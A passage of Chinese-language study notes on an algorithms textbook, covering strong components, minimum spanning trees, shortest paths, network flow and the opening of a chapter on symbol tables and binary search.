    2. 在原图执行 DFS，在调用递归函数的搜索循环中使用由 1 中 DFS 得到后序的逆序：找出搜索的下一个顶点时（可在最外层，也可在递归搜索函数返回给顶层搜索函数时调用递归搜索函数），要使用具有最大后序编号未被访问的顶点
  - 任何图都是线性时间、空间：
    - 稠密图：V^2
    - 稀疏图（邻接表）：V+E
- Tarjan 算法：
  - 步骤：
    1. 以逆拓扑排序的顺序考虑顶点，从而在到达某个顶点的递归函数末尾时知道，将不会遇到同一个强分量中的任何其它顶点，因为由该顶点可达的所有顶点都已被处理完
    2. 树中的回链接为从一个顶点到另一个顶点提供了第二条路径，并将强分量连在一起
  - 进入递归函数时，将顶点压入栈，在访问某个（多个）强分量的最后一个成员时弹出，并赋予分量编号
  - 识别是否在访问强分量的最后一个成员：通过从每个结点的所有子孙的一个上链接来记录最大可达祖先
  - 线性
  - 有向图
- Gabow's 算法：
  - 与 Tarjan 相似，但使用了第二个栈（包含搜索路径中的顶点），而不是 Tarjan 中的顶点索引的前序编号的数组来确定何时从主栈中弹出每个强分量中的顶点
  - 线性
  - 有向图
再论传递闭包：
- 通过有向图来构建核心 DAG 的不同情况：
  - 核心 DAG 相对于原图来说较小：高效
  - 原图是个DAG：无改进
  - 原图与核心 DAG 规模相类似：不会节省很多
  - 原图有大环或大强分量：最优或渐近最优
- 抽象传递闭包：
  - 适用于任何有向图
  - 原理：
    - 在同一个强分量中时，顶点相互可达
    - 在核心 DAG 中可达，则在原图中也可达
  - 步骤：
    1. 找出其强分量：Kosaraju、Tarjan、Gabow's
    2. 构建其核心 DAG：对边做一边处理
    3. 计算核心 DAG 的传递闭包：DFS
  - 性能：
    - 计算传递闭包：设 v 为核心 DAG 中顶点数，x 为 DFS 森林中交叉边数，时间：E+v^2+vx，空间：V+v^2
    - 核心 DAG：该核心 DAG 中顶点数少于 \sqrt[3] v，时间：E+V，空间：V

展望：

以下均用邻接表表示
有向图开销：

问题	开销（最坏）	算法
环检测	E	DFS
传递闭包	V(E+V)	从每个顶点开始的 DFS
单源点最短路径	E	DFS
所有点对最短路径	V(E+V)	从每个顶点开始的 DFS
强分量	E	Kosaraju、Tarjan、Gabow's
传递闭包	E+v(v+x)	核心 DAG

DAG 开销：

问题	开销（最坏）	算法
环检测	E	DFS或源点队列
拓扑排序	E	DFS或源点队列
传递闭包	V(V+E)	DFS
传递闭包	V(V+X)	DFS或动态规划

动态可达性：合并-查找算法（稠密有向图）
问题：
- 支配者： DFS 线性
- 传递归约：易解，如果要求结果限制为原图的子图：NP-难
- 有向欧拉路径：简单
- 有向邮差问题：易解，归约到最小成本流
- 有向哈密顿问题：NP-难，如果有向图为 DAG：简单
- 单连通子图：NP-难
- 反馈顶点集：NP-难
- 偶环：不可用

第二十章最小生成树

图中每条边上关联权值（成本），成本最小化：
- 最小生成树：所有点连接起来的最小成本
- 最短路径：两个给定点之间最小成本的路径
最小生成树（MST）：
- 加权图中权值（边上权值之和）不大于任何其它生成树的权值
- 边上权值可相等：MST 不是唯一的
表示：
- 表示加权图：
  - 可将权值转换为 0-1 之间的实数
  - 不存在的边：
    - 观察哨权值
    - 平行矩阵：两个矩阵，一个指示边是否存在，另一个保存边权值
  - 邻接矩阵：元素为边权值
  - 邻接表：链表元素增加一个表示边权值的域
- 表示 MST：
  - 图；边链表；边数组；顶点索引的数组（父链接表示）
  - 以上均可在线性时间互相转换
MST 算法的基本原理：
- 基础性质：向树中添加一条边会创建一个环（定义树的性质）
- 图中的割：将顶点分成两个不相交集的一个划分
- 交叉边：将两个集合中的顶点连接起来的边
- 割性质：给定图的任意一个割，每条最小的交叉边属于图中的某个 MST，且每个 MST 包含一条最小交叉边
  - 可用作表征 MST 的优化条件
  - 用来识别出在 MST 中的边：接收这条边
- 环性质：给定一个原图 G，向原图添加一条边后得到图 G'。将某条边添加到原图 G 的一个 MST 中，并删除所得到的环中最大一条边。这样就得到图 G' 的一个 MST
  - 向一棵生成树不断添加在图中的边，新添加的边需要小于环中的边，从而制造环，并删除环中最大边，直到怎样添加都不能删除。这样就得到一个 MST
  - 用来识别出不在 MST 中的边：拒绝这条边
- Prim 算法：一次一条边，从任何一个顶点开始，把它作为具有单个顶点的 MST，向它添加 V-1 个顶点，总是取在 MST 中的顶点和不在 MST 中的顶点连接边中的最小边
  - 适合稠密图
- 反复应用环性质法：向假想 MST 中添加边，如果形成环，则删除环中的最大边
  - 弃用边的难度较大
- Kruskal 算法：按照边的长度处理边（最短边优先），向 MST 中添加边，不会形成环的边才真正加入 MST 中，在 V-1 条边后停止
- Boruvka 算法：
  - 步骤：
    1. 向 MST 中添加所有顶点和最近顶点连接起来的边（最小近邻）
    2. 继续向 MST 添加一棵树中的顶点和另一棵树的顶点连接起来的所有边中的最小边（最小近邻）
    3. 直至只剩一棵树
  - 边的权值可相同时：在最小近邻中选择具有最小顶点编号的近邻
- 抽象操作：
  - 找出连接两棵子树的最小边
  - 确定增加一条边是否会产生一个环
  - 删除环中的最大边
Prim 算法和优先级优先搜索
- 描述：维护图的一个割，割由树顶点（在 MST 中的顶点）和非树顶点（不在 MST 中的顶点）组成。从任何在 MST 中的顶点开始，将一条最小交叉边加入到 MST 中（非树顶点变成树顶点），重复 V-1 次，直至所有顶点都在树中
- 蛮力法：直接可得。选择下一条边的方法：检查从树顶点到非树顶点的所有边中的最小边
- 增量的变化：只关注由非树顶点到树顶点的最短距离（记录）：
  - V^2，对稠密图来说线性
  - 只检查向树添加顶点后是否需要更新这个最短距离
  - 所需信息：
    - 对于每个树顶点：在 MST 中的父结点；父链接的长度
    - 对于每个非树顶点：最近的树顶点；与树的距离
- 边缘集：下一次要添加到 MST 中的潜在边集合
- PFS（广义图搜索）描述：
  - 步骤：
    1. 从边缘集中将一条最小边移到树，并访问该边指向的顶点
    2. 将从该顶点到一个非树顶点的任何边置于边缘集中，如果边缘集中两条边都指向同一个顶点，则用短边取代长边
  - 边缘集为最小优先队列：堆实现时，与 ElgV 成正比
  - 对于任意图和任意优先级函数，在规模至多为 V 的优先队列中，可利用 PFS 找到 MST：线性时间 + V 次插入 + V 次删除最小值 + E 次减少关键字
Kruskal 算法：
- 描述：从一个有 V 个单个顶点树的退化森林开始，不断合并两棵树（使用可能的最短边），直至只剩一棵树
- 经典实现：
  - 步骤：
    1. 按边的权值进行排序，由于权值有限制，可使用基数排序，线性可得，
    2. 使用连通性算法（合并-查找算法）消除导致环的边
  - 开销：ElgE：E 个数排序 + E 次查找 + V-1 次合并
- 优先队列版本：
  - 线性构造；对数删除最小
  - 开销：E + XlgV，X 为图中不大于 MST 最长边的边数：构造规模为 E 的优先队列 + X 个删除最小 + X 个查找 + V-1 个合并
- 部分排序版本
Boruvka 算法：
- 描述：每步添加数条边到 MST 中，在每一步中，找出连接每棵子树与不同子树的最短边，再将所有这样的边加入 MST 中
- 连通性算法中的查找函数：为每棵子树关联一个索引，可得知一个给定顶点属于哪棵子树
- 步骤：
  1. 维护一个顶点索引的数组，对于每个 MST 子树能识别出最近邻
  2. 对图中每条边，边的顶点在同一棵树上时，抛弃；否则检查由该边连接的两棵树之间的最近邻距离，有最近邻则更新距离
  3. 用合并操作将每个顶点与它的最近邻连接起来，然后抛弃目前连通的 MST 子树中连接其它顶点对的所有更长的边
- O(ElgVlg*E)

比较与改进：

稠密图：Prim 算法的邻接矩阵实现经典实现
中等密度图：三种算法皆可，而 Prim 算法的 PFS 实现在取出边的常量因子内
稀疏图：Kruskal 算法，归约为排序（快排）
比较：

算法	最坏情况	注释
Prim（标准）	V^2	稠密图最优
Prim（PFS、堆）	ElgV	保守上界
Prim（PFS、d-heap）（Johnson 版本）	Elog_dV	除极端稀疏图外都是线性
Kruskal	ElgE	排序开销占主导
Kruskal（部分排序）	E+XlgV	开销依赖最长边
Boruvka	ElgV	保守上界

改进：
- 更好的优先队列：如斐波那契堆（Fibonacci 堆）：支持常量减小关键字；对数删除最小
- 优先队列的实现中使用基数方法
- 用 d-叉堆实现优先队列：支持 log_dV 减小关键字；dlog_dV 删除最小
  - 改进最坏情况
  - 导致 Prim 算法有 Vdlog_dV + Elog_dV，非稀疏图线性

欧几里得 MST：
- 欧几里得 MST 问题：给定平面 N 个点找出连接所有点的最短线段集合：NlgN
  - 构建 N 顶点、N(N-1)/2 条边的完全图，边权值为两点距离：Prim：N^2
  - Delauney 三角的图由 MST，且是一个边数与 N 成正比的平面图。用 NlogN 计算出 Delauney 三角（太复杂）后运行 Kruskal 或 PFS 找出欧几里得 MST
  - 几何算法
  - 基于近邻算法的 Prim 另一版本

第二十一章最短路径

路径权值：那条路径上的边权值之和
网（加权有向图）：
- 网算法同样适用于加权无向图，非加权图也可
- 自环：表示中保留自环，这样更方便
- 平行边：可能有平行边，甚至平行边带有不同权值
简单有向路径：
- 正权值边：没必要
- 负权值边：需要限制为简单路径
最短路径：从 s 到 t 的简单有向路径，且不存在有其它更小权值的路径
最短路径树（SPT）：定义了从根到其它顶点的最短路径，每条树路径是网中的一条最短路径
负环：总权值为负数的有向环
源点-汇点最短路径：起始顶点（源点）；完成顶点（汇点）
单源点最短路径：找一条最短路径：
- 最短路径权值
- 在与长度成正比的时间里追踪路径
所有点对最短路径：应用：公路图；航班路线
基本原理：
- 松弛：每步中检查是否可以找到一条比某条已知路径更短的路径
  - 边松弛：检查沿着给定边行进是否会产生到目的顶点的一个新的最短路径
    - 单源点
  - 路径松弛：检查沿着给定边行进是否会产生连接两个其它顶点的一条新的最短路径
    - 所有点对
    - 距离矩阵：d[s][t] 为 s 到 t 的最短路径
    - 路径矩阵：p[s][t] 为 s 到 t 最短路径中 s 的下一个顶点
- 追踪路径：相反顺序；栈；处理逆图
- 加号：由边权值计算路径权值
- 小于号：计算路径权值集中的最小值

Dijkstra 算法：

定义：从将源点放在 SPT 中开始，然后每次选择一条边构建 SPT，总是选择从源点到不在 SPT 中的一个顶点的最短路径的边
解决非负权值网中的单源点最短路径问题
经典实现适合稠密图，线性，V^2
Dijkstra 的 PFS 实现：将连接树顶点与非树顶点的边保存在优先队列，并提供更新优先级的操作
- 适合稀疏图
- 用堆来实现优先队列时：ElgV
- 给定图有 V 个顶点、E 条边、密度 d = E/V：
  - d < 2 时：Dijkstra 时间与 VlgV 成正比
  - 可用 [d]-堆实现优先队列，最坏情况下改进 lg(E/V) 的一个因子：O(Elog_dV)
4 种 PFS 实现：
- 经典稠密图：Dijkstra、Prim
- 边缘边集（稀疏图）：教学价值
- 边缘顶点集（稀疏图）：最优化
- 所有顶点（稀疏图）：最简单
PFS 算法：

算法	优先级	结果
DFS	逆前序	递归树
BFS	前序	SPT（边）
Prim	边权值	MST
Djkstra	路径权值	SPT

Dijkstra 算法各种实现的开销：

算法	开销（最坏）	注释
经典	V^2	稠密图最优
PFS（完全堆）（所有边）	ElgV	ADT 简单
PFS（边缘集堆）	ElgV	保守界限
PFS（d-叉堆）	Elog_dV	除极端稀疏图外，都是线性

所有对最短路径：
- 加权直径：最短路径中最长路径的长度
- 求所有对最短路径方法：
  - 每个顶点 Dijkstra（非负权值）：
    - 堆：最坏 VElgV VElog_dV
    - d-叉堆：VE，如果 E < 2V，d = 2；否则 d = E/V
    - 适合稀疏图
  - Floyd（可有负权值，但不能有负环）：
    - V^3
    - 适合稠密图
无环网中的最短路径：
- 无环网中：
  - 单源点：线性，与 E 成正比
  - 所有对：与 VE 成正比
  - 最长路径
- 无环网（加权 DAG）：边上有权值，且不存在环的有向图
- 单源点：DFS；源点队列
- 所有点对：每顶点用单源点；单个 DFS。如果加上动态规划就变成拓扑排序，需用逆拓扑排序顺序考虑顶点
- 多源点最短路径问题（最长）：
  - 使用虚拟顶点把多源点转化成单源点
  - 按照拓扑排序的顺序处理顶点
  - 线性
欧几里得网：
- 定义：边权值为点的几何距离
- 额外性质：
  - 满足三角不等式：s->d <= s->x + x->d
  - 顶点位置给出了路径长度的一个下界：不存在有 s->d 的路径小于 s->d 的距离
  - 大大减少必须考虑的路径数目
- 欧几里得启发式搜索：
  - Dijkstra 的 PFS 实现 + 额外性质
  - 重新加权 + 标准最短路径算法
  - 不保证节省
  - A* 算法的特例
归约：
- A 可归约为 B：使用求解 B 的算法去求解 A，最坏时该算法不超过求解 B 算法的常量倍：
  - 转换为 B 的一个实例
  - 求解这个实例
  - 将 B 的解决方案转换为 A 的解决方案
- 等价：两个问题可相互归约
- 体现了归约思想：库编程
- 作用：分类；得到下界
- 一个问题比另一个问题更一般
- 传递闭包可归约为非负权值的所有对最短路径
- 在边权值无限值的网中，单源点（所有点对）的最长路径问题和最短路径问题是等价的
- 差分约束：为一组遍历 x_0...x_n 赋予非负值，使 x_n 值最小，且满足对一组变量的差分约束
  - 约束指定了两个变量的差必定大于等于一个给定常量
  - 归约为作业调度
  - 正常数时等价于无环网中单源点最长路径问题
- 线性规划：为一组变量 x_0...x_n 赋予非负值，使变量的特定线性组合达到最小，且满足对变量的一组约束
  - 约束指定了变量的某个线性组合必定大于等于一个给定常量
- 不可行的：一个没有解决方案的问题实例
- 具有截止期限的作业调度：归约为可负权值最短路径（不含负环）
- 一般的最短路径问题、边权值可为负的网的最短路径问题：NP-难
- 高效：算法最坏时为输入规模的某个多项式函数
- 难解性：归约为难解性
- 上界：有 B 的高效算法，且 A 归约为 B，则有 A 的高效算法。可能有 A 的更好算法，但 B 性能是求 A 最佳性能的一个上界
- 下界：知道 A 的任何算法都有 x 资源需求，且 A 归约为 B，则 B 至少也由 x 资源需求，因为 B 的更好算法蕴含着存在 A 的一个更好算法，也就是说：A 的性能是 B 最佳性能的一个上界
- 更一般：运筹学（OR）：数学规划
负权值：
- 正权值：寻找捷径
- 负权值：寻找绕道，尽可能多的负权边：小权值路径比大权值有更多的边
- 无负环网中的最短路径问题、负环检测：Floyd 算法，对于所有点对 V^2
- Bellman-Ford 算法：以任意顺序考虑网中的边，并沿着每条边松弛，执行 V 遍
  - 单源点：VE
  - 所有对：V^2E
  - 负环检测：VE
  - 基本方法：对所有边检查
  - 改进：可改变的边为某些顶点发出的边，而这些顶点在上一遍中有所改变：队列
- 重新加权：将网转换为只有非负权值的网，且有相同的最短路径结构
  - 操作：
    - 边：将该边源点到目的点权值之差加到该边的权值上
    - 网：对所有边重新加权
  - 线性
  - 顶点的权值：最短路径生成森林：为每个顶点赋权（从此根到它在 SPT 中顶点的路径的权值）
    - 从每个强连通分量的一个源点开始
    - 虚拟顶点，与网中每个顶点之间的边权值为 0
- Johnson 算法：
  - 适用于有负权边，当无负环的网（所有点对）
  - 步骤：
    1. 用 Bellman-Ford 算法找出原网的一个最短路径森林
    2. 有负环则终止
    3. 由最短路径森林对网进行重新加权
    4. 在重新加权后的网上使用所有点对 Dijkstra 算法
  - 所有点对：VElog_dV，如果 E < 2V，则 d = 2；否则 d = E/V

展望：

单源点最短路径算法开销：

权值约束	算法	开销（最坏）	注释
非负	Dijkstra	V^2	稠密图最优
非负	Dijkstra（PFS）	ElgV	保守界
无环	源点队列	E	最优
不含负环	Bellman-Ford	VE	有改进空间？
无（一般性问题）	开放问题	？	NP-难

所有点对最短路径算法开销：

权值约束	算法	开销（最坏）	注释
非负	Floyd	V^3	对所有网相同
非负	Dijkstra（PFS）	VElgV	保守界
无环	DFS	VE	对所有网相同
不含负环	Floyd	V^3	对所有网相同
不含负环	Johnson	VElgV	保守界
无（一般性问题）	开放问题	？	NP-难

第二十二章网络流

最大流问题、最小成本流问题：
- 配送：商品配送；通信；交通流量
- 匹配：工作安排；最小距离点匹配
- 分割：网络可靠性；分割补给性
流网络：
- st 网：有一个指定源点 s 和一个指定汇点 t 的网
  - 指定：忽略指向 s 的边和指出 t 的边
  - 内部结点：除源点和汇点外的其它顶点
  - 表示：每个方向一条边
    - 邻接矩阵：平行数组
    - 邻接表：一条边两种表示中有指针关联
- 流网络：有正边权值的 st 网，边上权值为容量
  - 边流（流网络中的一个流）：一个非负边（权值）集合
  - 满足：
    - 边流不大于该边容量
    - 进入每个内部顶点的总流量等于从该顶点流出的总流量
    - s 流出量 = t 流入量
  - 顶点：
    - 流入量：进入一个顶点的总流量（该顶点进入边上的流之和）
    - 流出量：流出一个顶点的总流量（该顶点发出边上的流之和）
  - 网的值 = 源点流出量 = 汇点流入量
- 最大流：在一个 st 网中找出一个流，使该流的流值最大，且知道达到该流值的各个边值
- st 流：一个 st 网中的流
- 合并两个顶点集后仍保持流平衡
- 循环流：
  - 可以用一条从 s 到 t 的边对任何流网络进行扩展，其中流和容量等于网的值，且对任何扩展过的网络中的结点集，其流入量等于流出量
  - 根据流分解定理，可与环集合（每个环一个流值）互相转换
  - 流分解定理：任何循环流可表示为至多有 E 个有向环的集合上的流
    - 任何 st 网中都有一个最大流，满足非零流值所导出的子图是一个环
    - 任何 st 网中都有一个最大流，可表示为从 s 到 t 的至多 E 个有向路径集合上的流
增大路径最大流算法：
- 增大路径法（Ford-Fulkerson 法）：
  - 描述：从任何一个零流开始，沿着从源点到汇点的任何一条路径上的未满前向边或空的后向边增大此流，继续这个过程直到网络中不存在这样的路径
  - 增加流量：
    - 增加前向边的流：前向边未用流量最小值
    - 减少后向边的流：后向边流的限制
  - 前向边：随着流行进（遍历从源顶点到目的顶点的边）
  - 后向边：沿着流逆行（遍历从目的顶点到源顶点的边）
  - 运行时间：
    - 找出一个最大流所需的增大路径数
    - 找出每个增大路径所需的时间
  - 所需增大路径数目至多为 VM，M 为网络中最大边容量
  - 找出最大流：O(VEM)
  - 稀疏网络：O(V^2M)
  - 图搜索策略：边缘集数据结构，找增大路径的方法
    - 最短增大路径：根据路径上边数
      - 增大路径数目：至多为 VE/2
      - 稀疏网：O(V^3)
      - 队列
    - 最大容量增大路径：沿着使流增大最大量的路径增大
      - 增大路径数目：至多为 2ElgM
      - 稀疏网：O(V^2lgMlgV)
      - 优先队列
    - 栈
    - 随机队列
- st 割：将顶点 s 放在一个集合，顶点 t 放在另一个集合的割
- 割集：交叉边的集合（连接这两个集合的边的集合）
- st 割的容量：该割的所有 st 边的容量之和
- 穿越 st 割的流：割中 st 边流之和减去割中 ts 边流之和
- 最小割：给定一个 st 网，找出一个使割的容量达到最小的 st 割
- 对于任何 st 流，流值等于穿越每个 st 割的流
- st 流的值都不大于任何 st 割的容量
- 最大流-最小割定理：网中所有 st 流最大值等于所有 st 割最小值
- 残量网络：顶点和原网相同。对应于原网中的一条边，有一条或两条边
  - 对于原网中每个边 u-v，设 f 为流值，c 为容量，以下容量为权值：
    - 边空（f=0）：有一条容量为 c 的边 u-v（方向不变）
    - 边满（f=c）：有一条容量为 c 的边 v-u（方向相反）
    - 边不空不满，则有两条边：
      - 正向边容量为 c-f（u-v）
      - 逆向边容量为 f（v-u）
预流-推进最大流算法：
- 描述：沿着顶点的出边逐渐移动流，使流入量多于流出量，直到达到一个可行流（不再存在活动顶点）
- 可行流：满足平衡条件的流
- 预流：一个流网络中正边流的集合，满足：
  - 边上流值不大于边上容量
  - 对于每个内部结点流入量不小于流出量
- 活动顶点：流入量大于流出量的内部结点（约定源点、汇点不是活动顶点）
- 顶点盈残量：活动顶点流入量减去流出量
- 改变活动顶点的集合：把活动顶点放入广义队列中，取出一个，沿着一个发出边推进盈残量。如果容量不足，则沿着进入边倒推盈残量；如果推进使这个顶点不平衡，则变成不活动顶点，可能也会激活别的顶点
- 高度函数：
  - 在一个流网络中给定流的高度函数是一个非负顶点权值集合 h(0)...h(V-1)，且满足对于汇点 t 有 h(t) = 0，对于流的残量网络中每条边 u-v，有 h(u) <= h(v) + 1
  - 合格边：残量网络中满足 h(u) = h(v) + 1 的一条边 u-v
  - 没有合格边：h(0) = h(1) = ... = h(V-1) = 0
  - 设 h(s) = 1，则从源点出发，且有流的任何边都对应着残量网络中的一条合格边
  - 为每个顶点赋以到汇点的最短路径距离：
    - 即以 t 为根的逆网的 BFS 树中到根结点的距离
    - 定义一个高度函数
    - 步骤：
      1. 到 t 的高度必定为 0
      2. 在残量网络中，高度为 1 的顶点被 t 的顶点直接访问
      3. 高度为 2 的顶点被高度为 1 的顶点直接指向
      4. 以此类推
  - 对于任何流和其所关联的高度函数，一个顶点的高度不大于残量网络中从该顶点到汇点的最短路径的长度
  - 含义：当一个活动顶点的高度：
    - 小于源点高度时：结点向汇点推进流
    - 大于源点高度时：结点超出量可被倒推入源点
  - 顶点高度大于 V：在残量网络中不存在从该顶点到汇点的路径
- 基于边的预流-推进算法：
  - 有任一高度函数，连接到源点的边充满至容量，其它边赋 0 流
  - 步骤：
    1. 选择一个活动顶点，向离开这个顶点的合格边（依靠高度函数识别）（如果有合格边存在）推进流
    2. 如果不存在这样的边，则增加顶点的高度
    3. 直至没有活动顶点存在
  - 保持了高度函数的有效性：O(V^2E)
- 预流-推进算法性质：
  - 在流网络中执行时，在流网络的残量网络中存在每个活动顶点到源点的一条有向路径，不存在从源点到汇点的有向路径
  - 执行中时，顶点高度总是小于 2V
  - 可计算一个最大流
- 基于顶点的预流-推进算法：
  - 步骤：
    1. 选择一个活动顶点，向离开顶点的合格边增加流（如果可能则充满）
    2. 继续直到顶点变成不活动的或者不存在合格边
    3. 不存在合格边时，增加顶点的高度
  - 一旦我们选择一个顶点，就尽可能推进它的所有流，如果到了仍有盈余流的顶点但无合格边，就增加顶点的高度
  - FIFO 队列实现：最坏情况下 V^2E
- 最高顶点预流-推进最大流算法：返回最高活动顶点的优先队列
- 3 种选择：
  - 基于边与基于顶点的通用算法
  - 广义队列实现
  - 初始高度赋值
最大流归约：
- 可归约为最大流的问题：
  - 一般网中的最大流
  - 顶点容量约束
  - 无环网最大流
  - 无向网最大流
  - 可行流
  - 最大基数二分匹配（二分匹配）：二分图中找最大基数匹配：O(VE)
- Menger 定理：在有向图中删除某条边使两个顶点不连通的最少边数等于这两个顶点之间边不相交的路径的最大数目
- 连通度：
  - 边连通度：把图分割成两部分所需删除的最少边数（边集）
  - 顶点连通度：把图分割成两部分所需删除的最少顶点数（顶点集）
- 无向图边连通度：
  - O(E^2)
  - 最大割集合边数 = 最小流值 = 边连通度
  - 改进：VE
最小成本流：
- 最小成本流模型：允许边上有整数成本，并以自然地方式使用边的成本来定义流成本，然后求出具有最小成本的最大流
- 边上流成本：边上流和成本的乘积
- 流成本：一个流的成本为该流中边流成本之和
- 最小成本最大流：在有边成本的流网络中找出一个最大流使得不存在有更小成本的其它最大流
- 最小成本可行流：配送网：在有边成本的流网络中对顶点赋予权值，正权值为供应，负权值为需求，且所有顶点权值（等价的）之和为 0.找出有最小成本的一个可行流（平衡）
- 残量网络扩展：对于每条边 u-v，设 f 为流值，c 为容量，x 为成本
  - f 为正：有一条容量 f、成本 -x 的边
  - f 为负：有一条容量 c-f、成本 x 的边
  - ...
  - 区别：表示后向边的边有负成本
- 性质：残量网络中不含负成本的环：最小成本最大流
  - 消环算法：
    - 描述：找一个最大流，在残量网中沿着任何负成本的环来增大流，继续这个过程，直到不存在负成本的环
    - 虚拟流初始化（去掉初始最大流的计算）：添加一条从源点到汇点的虚拟边，并赋予最大成本（大于任何源点-汇点路径上的成本）：VC+1；最大流：大于源点流出量
    - 所需的增大环的数目少于 ECM
    - 稀疏图：O(V^3CM)
网络单纯形算法：
- 描述：维护一个树形数据结构，对成本进行重新加权以使负环可被快速识别
- 对于任意流、每个网络边 u-v 可有 3 种状态：
  - 空：流只能从 u 推入 v：u-v 在残量网中，v-u 不在
  - 满：流只能从 v 推入 u：v-u 在残量网中，u-v 不在
  - 部分（部分边）（不空不满）：流可双向推入：u-v、v-u 都在残量网中
- 给定一个不含部分边环的最大流，此最大流的一个可行生成树是网络的一棵生成树，包含了所有流的部分边
- 网络单纯形算法：
  - 第一步：构造一棵生成树：
    - 方法：
      - 计算一个最大流，通过沿着每个环增大从而使其边为空或为满来破坏部分边的环，然后向余下的部分边中添加满边或空边，从而构建一棵生成树
      - 从源点到汇点的一条虚拟边的最大流开始，此边为唯一可能的部分边，可使用任何图搜索方法来构建该流的一棵生成树
  - 基本原理：有一个顶点权值的集合，这些权值可以很快地识别出一些边，这些边被添加到树中时，会在残量网中创建负环
    - 顶点权值：势
    - \phi (v)：关联顶点 v 的势
  - 设 c(u, v) 为流的残量网中 u-v 的成本，对于任何势函数 \phi，该残量网中的边 u-v 关于 \phi 的降低的成本用 c*(u, v) 表示，值为 c*(u, v) = v(u, v) - (\phi (u) - \phi (v))：每条边上降低的成本为该边实际成本减去该边顶点势差
  - 使用可行生成树来定义顶点的势，使得关于这些势的降低的边成本直接给出关于负成本环的信息：通过执行算法和设置顶点势的值（使得所有树边可降低的成本为 0）来维护一棵可行生成树
  - 当所有树边可降低的成本为 0 时，称顶点势的集合关于这棵树是有效的：对于任意给定生成树，所有有效的顶点势隐含着每条网络边有相同的降低成本
  - 合格边：
    - 非树边：如果在残量网络中，它与树边创建的环是一个负成本的环
    - 边：
      - 带有可降低成本为正的一条满边
      - 带有负可降低成本的一条空边
    - 有合格边则有负成本的环
    - 无合格边则为最小成本流
    - 最小成本流：树边的降低成本均为 0，满的非树边均为非负的，空的非树边均为非正的
  - 定义：构建一棵可行生成树并维持顶点的势，使其满足所有树顶点的降低成本为 0。向树中添加一条合格边，并沿着用该边与树边形成的环来增大流，从该树中删除满边或空边，继续这一过程直到不存在合格边
  - 可行生成树：顶点的势：降低的成本：合格边：负成本环：减小流成本：树结构的改变：顶点势的改变
  - 3 种涉及树的计算任务：
    - 计算顶点的势：
      - 步骤：
        
        设根的势为 0，从任意顶点开始，递归地计算其祖先的势，沿着父链接直到树根
        
        然后选择另一个顶点，并使用父链接递归计算其祖先的势
        
        到达一个势已知的祖先顶点时，递归终止且在跳出递归的过程中沿着路径向下行进，通过相应的父结点来计算每个结点的势，继续这一过程，直到计算了所有结点的势
      - 与 V 呈线性
    - 沿着该环增大（并识别其上的空边或满边）：
      - 最小公共祖先（LCA）：两个结点的最小子树的根
      - 添加一条连接两个结点的边而形成了环，这个环由新边和这两个结点到其 LCA 的两条路径上的边组成
      - 步骤：
        
        通过这两个结点到其 LCA 的任一路径，沿着环增大。示例：为了沿着通过添加新边 u-v 而形成的环增大，可以找到 u 和 v 的 LCA（设为 t），并从 u 到 v，从 v 沿着到 t 的路径及从 u 沿着到 t 的路径推入流，但在相反方向每条边都推入流
        
        计算推入的流量，用同样的方法遍历环上的边来确定被推入的最大量
      - 与环结点数成正比
    - 在形成的环上插入一条新边和删除一条边（用 u-v 与树边所创建的环中另一条边来代替边 u-v）：
      - 需删除的边在 u 到 LCA 路径上或 v 到 LCA 路径上
      - 将 u-v 之间的链接反向并删除边
      - 如果在增大环中存在多于一条的满边或空边：总是从树中删除与合格边两个顶点 LCA 最近的边
最小成本流归约：
- 最小成本流更具有一般性：任何最小成本最大流都是最大流问题的一个解
- 最小成本流消环算法给出了最大流问题的一种通用增大路径算法
- 在最小成本流问题中，可将负成本网转换为非负成本的网
- 单纯形方法：网络单纯形方法
- LP 问题：最小成本流问题
- 归约：
  - 无负环单源点最小路径问题
  - 运输问题等价于最小成本流
  - 分配问题
  - 邮差问题
展望：
- 最大匹配
- 多商品流
- 凸包和非线性成本
- 调度问题

【读书笔记】数据结构与算法分析 - C 语言描述 - 第四部分 - 搜索

Mon, 02 May 2022 07:24:04 GMT

第十二章符号表和二叉搜索树

符号表：
- 操作：
  - 插入：插入一个数据项
  - 搜索：搜索一个具有给定关键字的数据项（或若干数据项）
  - 删除：删除一个特定数据项
  - 选择：选出第 k 个最小数据项
  - 排序：按关键字顺序访问所有数据项
  - 连接：连接两个符号表
- 有相同关键字时：
  - 不同关键字的数据项 + 对于每个关键字有一条链表用于指向相同关键字
  - 相同关键字不隐藏，在一次搜索中返回所有
  - 唯一标识每个数据项
- 手指搜索（Finger search）：搜索可从以前结束的地方开始
- 范围搜索：统计或访问落入某个区间的节点
- 近邻搜索：查找距离某点最近的关键字（数据项）
- 计数（Count）操作：
  - 懒方法：Count() 函数
  - 积极方法：局部变量
关键字索引搜索：
- 适用于关键字的值是不同的小整数
- 原理：对数组中的数据项排序，然后按关键字进行索引
- 无任何数据项（只有关键字）时：可使用位表：把第 k 位看作表示 k 是否存在于表的关键字集中的标志
顺序搜索：
- 实现：把数据项按照顺序连续地存放在数组中
- 插入：等同于插入排序（移动位置）
- 构造表：连续插入（平方）
- 搜索：顺序查找，当遇到的关键字大于（小于）搜索关键字时，报告失败
  - 不存在关键字时使用数组尾部作为观察哨：
    - 避免对数组尾部终止条件的测试
    - 然后搜索只会成功返回，需要判断返回的元素是数据项还是观察哨
      - 真成功：返回数据项
      - 假成功：返回观察哨
- 不要求有序：
  - 插入：插入末尾
  - 搜索：顺序查看
  - 删除：先搜索，然后移动最后一项到这个位置，数组大小减 1
- 实现：有序数组、无序数组、有序表、无序表
二分搜索：把数据项分成两部分，确定搜索关键字在某部分，然后集中处理这个部分，而舍弃另一部分
- 标准分治法
- 数组是有序的
- 尾递归：递归函数是在递归调用时结束的。尾递归在非递归实现时不需要栈
- 实现：递归执行，搜索关键字与中间元素比较，确定是在前半还是在后半
- 对表更新时有高额开销
- 保持有序：
  - 插入过程中动态保持：与插入数的平方成正比
  - 标准排序方法作为构造函数
- 最大比较次数：floor(lgN)+1，也就是 N 的二进制表示中 1 的位数
- 重复关键字：表现为重复的连续一块
  - 对给定关键字计数
  - 作为一组数返回
  - 在终止点分别向两个方向扫描，返回相等关键字的下标边界
- 改进：更精确地猜测：插值搜索：
  - 基于关键字的值是数值型的，且为均匀分布
  - 依赖假设
  - 额外计算
  - 适用于访问开销大的外部方法
  - 把 m = (l+r)/2 改为 m = l+1/2*(r-l)，再把 1/2 改为 (v-k_l)/(k_r-k_l)，k_l、k_r 分别对应 a[l]、a[r]
  - 得：m = l+[(v-key(a[l])) / (key(a[r]) - key(a[l]))] * (r-l)
二叉搜索树：
- 性质：任何节点都大于等于左子树所有节点，小于等于右子树所有节点
